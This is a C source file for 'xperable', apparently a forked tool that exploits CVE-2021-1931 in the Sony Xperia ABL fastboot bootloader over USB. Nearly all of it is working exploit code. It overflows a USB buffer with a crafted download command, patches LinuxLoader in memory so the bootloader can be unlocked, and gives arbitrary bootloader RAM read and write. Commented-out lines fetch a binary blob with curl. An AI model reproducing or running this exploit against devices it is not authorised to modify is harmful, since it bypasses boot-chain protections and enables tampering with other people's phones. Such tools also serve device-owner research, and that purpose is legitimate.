// SPDX-License-Identifier: GPL-3.0-or-later /* * xperable.c - Xperia ABL fastboot Exploit of CVE-2021-1931 * * Copyright (C) 2025 j4nn at xdaforums */ #include #include #include #include #include #include #include #include #include #ifdef __MINGW64__ static void *memmem(const void *haystack, size_t haystacklen, const void *needle, size_t needlelen) { while (haystacklen >= needlelen) { if (memcmp(haystack, needle, needlelen) == 0) return (void *)haystack; haystack++; haystacklen--; } return NULL; } #endif #include "fbusb.h" #include "logging.h" int verbosity = LOG_NFO; static int abl_patch_ext; static int override_flag; static char cmdline[0x800]; static char cmdlinex[0x800]; #define OPCODE(ptr, a, b, c, d) \ do { \ unsigned char *p = (void *)(ptr); \ p[0] = (a); p[1] = (b); p[2] = (c); p[3] = (d); \ } while (0) typedef void (*testx_patch_t)(unsigned char *buff, int size, int offset); struct xperable_target { const char *ablver; const char *ytname; const char *llname; int offset; int size; testx_patch_t setup_test2; testx_patch_t setup_test3; int64_t test3_hitadj; int stage1_cont; void (*patch_abl)(unsigned char *ablcode, int extended); void (*setup_test4)(unsigned char *buff, int size, int offset, int payloadsize); void (*setup_test5)(unsigned char *buff, int size, int offset, int payloadsize); const char *test4_cmd; int vb_size; testx_patch_t test6_patch; testx_patch_t test7_patch; testx_patch_t test8_patch; testx_patch_t test9_patch; }; #define XPERABLE_TARGET(idstr, blv) \ { \ .ablver = idstr, \ .ytname = #blv, \ .llname = "LinuxLoader-" #blv ".pe", \ .offset = blv ## _offset, \ .size = blv ## _size, \ .setup_test2 = blv ## _setup_test2, \ .setup_test3 = blv ## _setup_test3, \ .test3_hitadj = blv ## _test3_hitadj, \ .stage1_cont = blv ## _stage1_cont, \ .patch_abl = blv ## _patch_abl, \ .setup_test4 = blv ## _setup_test4, \ .setup_test5 = blv ## _setup_test5, \ .test4_cmd = blv ## _test4_cmd, \ .vb_size = blv ## _vb_size, \ } #ifdef TARGET_ABL_P118 #include "target-p118.c" #endif static struct xperable_target yoshino_abl_targets[] = { #ifdef TARGET_ABL_P118 XPERABLE_TARGET("X_Boot_SDM845_LA2.0_P_118", p118), #endif { .ablver = NULL } }; static struct xperable_target *target = &yoshino_abl_targets[0]; static int set_xperable_target(const char *blver) { int i; for (i = 0; yoshino_abl_targets[i].ablver != NULL; i++) if (strstr(blver, yoshino_abl_targets[i].ablver) != NULL) { target = &yoshino_abl_targets[i]; PDBG("Using %s xperable target (offset = 0x%x, size = 0x%x)\n", target->ytname, target->offset, target->size); return 0; } target = &yoshino_abl_targets[i]; PERR("%s version not supported!\n", blver); return -1; } int load_pe(const char *fname, void *buff, int maxsize, uint64_t base_va, int *code_boundary); static unsigned char txbuff[1024 * 1024 * 64]; static unsigned char rxbuff[1024 * 1024 * 64]; static unsigned char buffer[1024 * 1024 * 64]; static unsigned char kibuff[1024 * 1024 * 128]; // 0x9FFF7000, 0x00008000, "Log Buffer", AddMem, SYS_MEM, SYS_MEM_CAP, RtData, WRITE_BACK_XN #define LOGBUF_ADDR 0x9FFF7000 #define LOGBUF_SIZE 0x00008000 static char logbuf[LOGBUF_SIZE + 1]; static int logbuf_pos; struct module_info { char name[64]; uint64_t addr; }; #define MAX_MODULES_NUM 128 static struct module_info modules[MAX_MODULES_NUM + 1]; static int logbuf_parsed; static int add_module_addr(const char *mname, uint64_t addr); static int getvar_all(struct fbusb *dev) { int res; res = fbusb_strcmd(dev, "getvar:all", rxbuff, 65); while (res == FASTBOOT_INFO) { res = 0; if (strncmp(rxbuff, "version-bootloader:", 19) == 0) res = 1; if (verbosity >= LOG_NFO && ( res == 1 || strncmp(rxbuff, "unlocked:", 9) == 0 || strncmp(rxbuff, "version-baseband:", 17) == 0 || strncmp(rxbuff, "secure:", 7) == 0 || strncmp(rxbuff, "product:", 8) == 0 ) || verbosity >= LOG_DBG) { POUT("%s\n", rxbuff); } if (res) set_xperable_target(rxbuff + 19); res = fbusb_strcmd_resp(dev, rxbuff, 65); } if (res != FASTBOOT_OKAY) { if (res > 0) PERR("getvar all failed: %s\n", rxbuff); else PERR("getvar all protocol error, res=%d\n", res); } return res; } static int getvar_single(struct fbusb *dev, const char *var) { int res; snprintf(txbuff, sizeof(txbuff), "getvar:%s", var); res = fbusb_strcmd(dev, txbuff, rxbuff, 65); if (res == FASTBOOT_OKAY) { POUT("%s: %s\n", var, rxbuff); if (strcmp(var, "version-bootloader") == 0) set_xperable_target(rxbuff); } return res; } static int test1(struct fbusb *dev, int size, int offset, const char *cmd) { int i; int res; if (cmd != NULL && cmd[0] != '\0') strcpy(txbuff, cmd); else snprintf(txbuff, 64, "download:%08x", size); PNFO("Starting test1 size = 0x%08x, offset = 0x%08x, cmd = '%s'\n", size, offset, txbuff); res = fbusb_strcmd(dev, txbuff, rxbuff, 65); if (res < 0) res = fbusb_strcmd(dev, txbuff, rxbuff, 65); if (res == FASTBOOT_DATA) { size = 0; sscanf(rxbuff, "%8x", &size); i = 64; res = fbusb_bufcmd(dev, buffer, size, rxbuff, &i); } do { switch (res) { case FASTBOOT_OKAY: case FASTBOOT_FAIL: case FASTBOOT_INFO: if (rxbuff[0] != '\0') POUT("%s\n", rxbuff); break; } if (res == FASTBOOT_INFO) res = fbusb_strcmd_resp(dev, rxbuff, 65); } while (res == FASTBOOT_INFO); PDBG("Finished test1: res = %d\n", res); return res; } static int test5(struct fbusb *dev, int size, int offset, const char *fname) { int i; int res; int payloadsize; unsigned addr; if (target->ablver == NULL) { PERR("test5 failed: target not set up\n"); return -1; } payloadsize = 0; res = load_pe(fname, txbuff, sizeof(txbuff), 0, &payloadsize); if (res <= 0 || payloadsize == 0) return -1; target->setup_test5(txbuff, size, offset, payloadsize); PNFO("Starting test5 size = 0x%06x, offset = 0x%02x, " "payloadsize = 0x%02x\n", size, offset, payloadsize); PNFO("----------------\n"); PNFO("Reboot to fastboot and try again if LinuxLoader not getting patched\n"); PNFO("If you have machine with USB 3.0, please run the USB 3.0 fix first!\n"); PNFO("----------------\n"); // use +16 to differentiate between success and failure, // patch code will use 'payloadsize' regardless this // as it doest not parse that value snprintf(txbuff, 64, "download:%08x", (payloadsize + 16)); i = 64; res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); if (res < 0) { i = 64; res = fbusb_bufcmd(dev, txbuff, strlen(txbuff), rxbuff, &i); } if (res != FASTBOOT_DATA) { if (*(uint32_t *)rxbuff != 0) return -1; if (i > 4) { i -= 4; memmove(rxbuff, rxbuff + 4, i); memset(rxbuff + i, 0, 4); } } size = 0; addr = 0; if (rxbuff[0] == (target->stage1_cont & 0xff)) { addr = *(uint32_t *)&rxbuff[0] - target->stage1_cont; PNFO("Got LinuxLoader base addr 0x%08x (0x%08x)\n", addr, addr + target->stage1_cont); add_module_addr("LinuxLoader", addr); } else if (sscanf(rxbuff, "%8x", &size) == 1) { if (size == payloadsize + 16) { // no luck with the exploit, just follow protocol: upload the data memset(txbuff, 'A', size); i = 64; res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); return -1; } } res = load_pe(fname, txbuff, sizeof(txbuff), addr, NULL); if (res <= 0) return -1; target->patch_abl(txbuff, abl_patch_ext); i = 64; res = fbusb_bufcmd(dev, txbuff, payloadsize, rxbuff, &i); if (res != FASTBOOT_OKAY) { PERR("LinuxLoader payload send failed\n"); PERR("Reboot your device to fastboot and try again!"); return -1; } unsigned char *p = memmem(txbuff, payloadsize, "\xc0\x03\x5f\xd6", 4); uint64_t retoff = 0; if (p > txbuff) retoff = p - txbuff; strcpy(txbuff, target->test4_cmd); res = fbusb_strcmd(dev, txbuff, rxbuff, 65); if (res == FASTBOOT_FAIL) { addr = 0; offset = 0; if (sscanf(rxbuff, "%x/%x", &addr, &offset) == 2) { PNFO("(usb buff @ 0x%08x, distance = 0x%08x)\n", addr, offset, addr - (unsigned)offset); PNFO("LinuxLoader @ 0x%08x patched successfully. Viola!\n", addr, offset, addr - (unsigned)offset); PNFO("Bootloader unlock/relock should be possible right now.\n"); #if 0 retoff += addr; size = addr - offset; for (i = 0; i < size; i += 8) { *(uint64_t *)(txbuff + i) = retoff; } strcpy(txbuff, "dummycmd"); i = 64; res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); if (res < 0) { i = 64; res = fbusb_bufcmd(dev, txbuff, strlen(txbuff), rxbuff, &i); } PNFO("usb buff @ 0x%08x filled with 0x%016" PRIx64 ", size = 0x%08x\n", offset, retoff, size); #endif return 0; } } PERR("LinuxLoader patching failed: %s\n", rxbuff); PERR("Reboot your device to fastboot and try again"); return -1; } static int abl_set_addr(struct fbusb *dev, uint64_t addr, int rmode, uint64_t *prev) { int res; uint64_t old; snprintf(txbuff, 64, "erase:0%c%09" PRIx64, rmode ? 'X' : 'x', addr); res = fbusb_strcmd(dev, txbuff, rxbuff, 65); if (res == FASTBOOT_FAIL && rxbuff[0] == '0' && rxbuff[1] == 'x') { old = strtoul(rxbuff, NULL, 16); PDBG("Target addr set to 0%c%08" PRIx64 " (prev 0x%08" PRIx64 ")\n", rmode ? 'X' : 'x', addr, old); if (prev != NULL) *prev = old; return 0; } return -1; } static int cmd_download(struct fbusb *dev, int size, void *buffer, int rmode) { int res; int rspsz; char *p; snprintf(txbuff, 64, "download:%08x", size); res = fbusb_strcmd(dev, txbuff, rxbuff, 65); if (res == FASTBOOT_DATA) { res = strtoul(rxbuff, &p, 16); if (res != size || (p - (char *)rxbuff) != 8) { PERR("cmd_download not matching download size!\n"); size = res; } rspsz = 64; if (rmode == 0) res = fbusb_bufcmd(dev, buffer, size, rxbuff, &rspsz); else res = fbusb_bufrcv(dev, buffer, size, rxbuff, &rspsz); if (res != FASTBOOT_OKAY) { if (res >= 0 && rspsz >= 0 && rspsz < 64) { rxbuff[rspsz] = '\0'; PERR("cmd_download failed: %s!\n", rxbuff); } } } return res; } static int abl_mem_rw(struct fbusb *dev, uint64_t addr, int size, void *buffer, int rmode) { int res; uint64_t prev = 0; if (abl_set_addr(dev, addr, rmode, &prev) < 0) return -1; res = cmd_download(dev, size, buffer, rmode); abl_set_addr(dev, prev, 0, NULL); return res; } static int abl_mem_write(struct fbusb *dev, uint64_t addr, int size, void *buffer) { return abl_mem_rw(dev, addr, size, buffer, 0); } static int abl_mem_read(struct fbusb *dev, uint64_t addr, int size, void *buffer) { return abl_mem_rw(dev, addr, size, buffer, 1); } static int file_rd_buff(const char *fname, void *buffer, int size) { int res; FILE *f = fopen(fname, "rb"); if (f == NULL) { PRNO("file_rd_buff fopen %s", fname); return -1; } res = fread(buffer, 1, size, f); fclose(f); return res; } static int file_wr_buff(const char *fname, const void *buffer, int size) { int res; FILE *f = fopen(fname, "wb"); if (f == NULL) { PRNO("file_wr_buff fopen %s", fname); return -1; } res = fwrite(buffer, 1, size, f); fclose(f); return res == size ? 0 : -1; } static int patch_buff(void *buffer, int size, char *patch) { int res; char *p; uint64_t val; unsigned offs; unsigned step; int state; uint8_t *buff = buffer; res = -1; step = 0; state = 0; p = patch; do { patch = p; val = strtoul(patch, &p, 16); if (p > patch) { switch (*p) { case ':': step = 1; state = 1; offs = val; p++; continue; case '/': step = 4; state = 1; offs = val; p++; continue; case '%': step = 4; state = 2; offs = val; p++; continue; case '@': step = 8; state = 1; offs = val; p++; continue; } if (step == 0) break; if (state == 1) { if (*p == ',') p++; if (offs + step > size) break; switch (step) { case 1: *(uint8_t *)(buff + offs) = (uint8_t)val; res = 0; break; case 4: *(uint32_t *)(buff + offs) = (uint32_t)val; res = 0; break; case 8: *(uint64_t *)(buff + offs) = val; res = 0; break; } offs += step; } else if (state == 2) { if (*p == ',') p++; if (offs + step > size) break; if (step != 4) break; *(uint32_t *)(buff + offs) = __builtin_bswap32(val); res = 0; offs += step; } } } while (p > patch); return res; } static int abl_read_logbuf(struct fbusb *dev) { int i; int res; uint64_t val; char *ptr, *p; res = abl_mem_read(dev, LOGBUF_ADDR, LOGBUF_SIZE, logbuf); if (res != 0) return -1; if (logbuf_parsed) return 0; logbuf_parsed = 1; for (i = 0; modules[i].name[0] != '\0'; i++) ; ptr = logbuf; while ((p = strstr(ptr, " - 0x")) != NULL) { ptr = p + 5; val = strtoul(ptr, &p, 16); if (p > ptr) { if (p[0] == ' ' && p[1] == '[') { p += 2; while (*p == ' ' || isdigit(*p)) p++; if (p[0] == ']' && p[1] == ' ') { p += 2; ptr = p; while (*p != '\r' && *p != '\n' && *p != '\0') { if (strncmp(p, ".efi\r\n", 6) == 0) { res = p - ptr; if (res >= sizeof(modules[i].name)) res = sizeof(modules[i].name) - 1; memcpy(modules[i].name, ptr, res); modules[i].name[res] = '\0'; modules[i].addr = val; p += 6; ptr = p; i++; break; } p++; } } } } if (i >= MAX_MODULES_NUM) break; } return 0; } static int abl_print_logbuf(struct fbusb *dev) { int res; res = abl_read_logbuf(dev); if (res != 0) return -1; res = strlen(logbuf + logbuf_pos); if (res > 0) { PNFO("Print log buffer, logbuf_pos = 0x%04x, length = 0x%04x:\n", logbuf_pos, res); POUT("%s", logbuf + logbuf_pos); logbuf_pos += res; } return 0; } static int get_module_addr(struct fbusb *dev, const char *mname, uint64_t *addr) { int i; int res; *addr = 0; for (i = 0; modules[i].name[0] != '\0'; i++) { if (strcmp(modules[i].name, mname) == 0) { *addr = modules[i].addr; return 0; } } if (!logbuf_parsed) { res = abl_read_logbuf(dev); if (res != 0) return -1; for (i = 0; modules[i].name[0] != '\0'; i++) { if (strcmp(modules[i].name, mname) == 0) { *addr = modules[i].addr; return 0; } } } return -1; } static int add_module_addr(const char *mname, uint64_t addr) { int i; int res; for (i = 0; modules[i].name[0] != '\0'; i++) { if (strcmp(modules[i].name, mname) == 0) { modules[i].addr = addr; return 0; } } if (i >= MAX_MODULES_NUM) return -1; strncpy(modules[i].name, mname, sizeof(modules[i].name) - 1); modules[i].name[sizeof(modules[i].name) - 1] = '\0'; modules[i].addr = addr; return 0; } static int abl_list_modules(struct fbusb *dev) { int i; int res; if (!logbuf_parsed) { res = abl_read_logbuf(dev); if (res != 0) return -1; } POUT("UEFI modules:\n"); for (i = 0; modules[i].name[0] != '\0'; i++) POUT(" 0x%09" PRIx64 " %s\n", modules[i].addr, modules[i].name); return 0; } static void show_help(void) { puts(""); puts("xperable - Xperia ABL fastboot Exploit"); puts("forked by Cuynu with only TAMA platform support"); puts("Original repository : https://github.com/j4nn/xperable"); puts("Forked repository : https://git.disroot.org/cuynu/xperable-fork"); puts(""); puts("usage: ./xperable [-h] [-v] [-q] [-V] [-Q] [-A] [-B] [-U]"); puts(" [-b maxsize] [-t timeout] [-o offset] [-s size]"); puts(" [-c command] [-1] [-5] [-C cmdline]"); puts(" [-l] [-m] [-a addr] [-M module]"); puts(" [-r] [-O file] [-I file] [-w]"); puts(" [-P file] [-p patch]"); puts(""); puts(" -h show this help and exit"); puts(" -v increase fastboot usb communication verbosity"); puts(" -q lower fastboot usb communication verbosity"); puts(" -V increase verbosity of the exploit itself"); puts(" -Q lower verbosity of the exploit"); puts(" -A do 'fastboot getvar all' with filtered output"); puts(" -B do 'fastboot getvar version-bootloader' command"); puts(" -U do 'fastboot getvar unknown' command"); puts(" -b maxsize set usb chunk max size to use with all transfers"); puts(" -t timeout set usb transfer timeout in ms, 5000 by default"); puts(" -o offset set offset parameter used in exploit test cases"); puts(" -s size set size parameter used with other options"); puts(" -c command set fastboot command string"); puts(" -x use extended version of abl patch"); puts(" -1 do test1 "); puts(" -5 do full ABL LinuxLoader patching exploit but with alternative method"); puts(" -l read out bootloader log from RAM, needs -4/-5 first"); puts(" -m list XBL UEFI modules with their base addresses"); puts(" -a addr set address used with BL RAM read and write options"); puts(" -M module set address for RAM r/w to base addr of UEFI module"); puts(" -r read 'size' block of bytes from 'addr' base in BL"); puts(" -O file write 'size' of bytes from tool's buffer to 'file'"); puts(" -I file read 'file' into tool's buffer setting 'size' too"); puts(" -w write 'size' block of bytes to 'addr' base in BL"); puts(" -P file load PE file to tool's buffer doing relocation"); puts(" to 'addr' base, setting 'size' to code boundary,"); puts(" applying -4/-5 patch in case of LinuxLoader fname"); puts(" -p patch apply specified 'patch' sequence to tool's buffer"); puts(""); puts("'patch' is one or more 'subpatch' delimited by comma character"); puts("'subpatch' is 'hexoffs' 'patchseq' pair delimited by one of ':/%@'"); puts("characters specifying size or form of each element of 'patchseq'"); puts("'patchseq' is list of hex values delimited by comma character"); puts(""); puts("There is following meaning of 'hexoffs' and 'patchseq' delimiter:"); puts(" : 'patchseq' hex values are byte values"); puts(" / 'patchseq' hex values are 32 bit values"); puts(" % 'patchseq' hex values are 32 bit to be byte swapped"); puts(" @ 'patchseq' hex values are 64 bit values"); puts(""); } int main(int argc, char **argv) { // Handle LinuxLoader-p118.pe files, it will be uncommented when compiling depends on OS. I was too noob to made a if else statements. // Windows //system("if not exist LinuxLoader-p118.pe curl -L -o LinuxLoader-p118.pe https://git.disroot.org/cuynu/xperable-blobs/releases/download/blobs/LinuxLoader-p118.pe"); // Linux/macOS //system("[ ! -f LinuxLoader-p118.pe ] && echo 'LinuxLoader-p118.pe not found! Downloading.' && curl -L -o LinuxLoader-p118.pe https://git.disroot.org/cuynu/xperable-blobs/releases/download/blobs/LinuxLoader-p118.pe"); int i; int res; int offset = -1; int size = -1; uint64_t addr = 0; const char *cmd = NULL; struct fbusb *dev; if (argc > 1 && strcmp(argv[1], "-h") == 0) { show_help(); return 0; } dev = fbusb_init(0x0fce, 0x0dde, 0, 0x81, 0x01); if (dev == NULL) return 1; argc--; argv++; for ( ; argc > 0; argc--, argv++) { res = 0; if (argv[0][0] != '-') continue; switch (argv[0][1]) { case 'v': fbusb_inc_verbosity(dev); break; case 'q': fbusb_dec_verbosity(dev); break; case 'V': if (verbosity < LOG_DBG) verbosity++; break; case 'Q': if (verbosity > 0) verbosity--; break; case 'A': getvar_all(dev); if (offset < 0) offset = target->offset; if (size < 0) size = target->size; break; case 'B': getvar_single(dev, "version-bootloader"); if (offset < 0) offset = target->offset; if (size < 0) size = target->size; break; case 'U': getvar_single(dev, "unknown"); break; case '1': res = test1(dev, size, offset, cmd); break; case '5': res = test5(dev, size, offset, target->llname); break; case 'r': if (abl_mem_read(dev, addr, size, buffer)) res = -1; break; case 'w': if (abl_mem_write(dev, addr, size, buffer)) res = -1; break; case 'l': abl_print_logbuf(dev); break; case 'm': abl_list_modules(dev); break; case 'x': abl_patch_ext++; break; } if (argc < 2) continue; switch (argv[0][1]) { case 'b': fbusb_set_maxsize(dev, strtoul(argv[1], NULL, 0)); argc--; argv++; break; case 't': fbusb_set_timeout(dev, strtoul(argv[1], NULL, 0)); argc--; argv++; break; case 'a': addr = strtoul(argv[1], NULL, 0); argc--; argv++; break; case 'o': offset = strtoul(argv[1], NULL, 0); argc--; argv++; break; case 's': size = strtoul(argv[1], NULL, 0); argc--; argv++; break; case 'c': cmd = argv[1]; argc--; argv++; break; case 'p': patch_buff(buffer, size, argv[1]); argc--; argv++; break; case 'C': cmdline[0] = ' '; strncpy(cmdline + 1, argv[1], sizeof(cmdline) - 2); argc--; argv++; break; case 'D': cmdlinex[0] = ' '; strncpy(cmdlinex + 1, argv[1], sizeof(cmdlinex) - 2); argc--; argv++; break; case 'X': override_flag = strtoul(argv[1], NULL, 0); argc--; argv++; break; case 'M': res = get_module_addr(dev, argv[1], &addr); argc--; argv++; break; case 'I': res = file_rd_buff(argv[1], buffer, sizeof(buffer)); argc--; argv++; if (res < 0) goto terminate; size = res; break; case 'O': res = file_wr_buff(argv[1], buffer, size); argc--; argv++; if (res < 0) goto terminate; break; case 'P': size = 0; res = load_pe(argv[1], buffer, sizeof(buffer), addr, &size); argc--; argv++; if (res <= 0 || size <= 0) { res = -1; goto terminate; } if (strstr(argv[0], target->llname) != NULL) { if (abl_patch_ext > 1) size = res; target->patch_abl(buffer, abl_patch_ext); PNFO("Loaded %s (res=%d, size=%d), applied LinuxLoader %s" "patch\n", argv[0], res, size, abl_patch_ext ? "ext " : ""); } else PNFO("Loaded %s (res=%d, size=%d)\n", argv[0], res, size); break; } if (res < 0) break; } terminate: fbusb_exit(dev); return res != 0 ? 1 : 0; }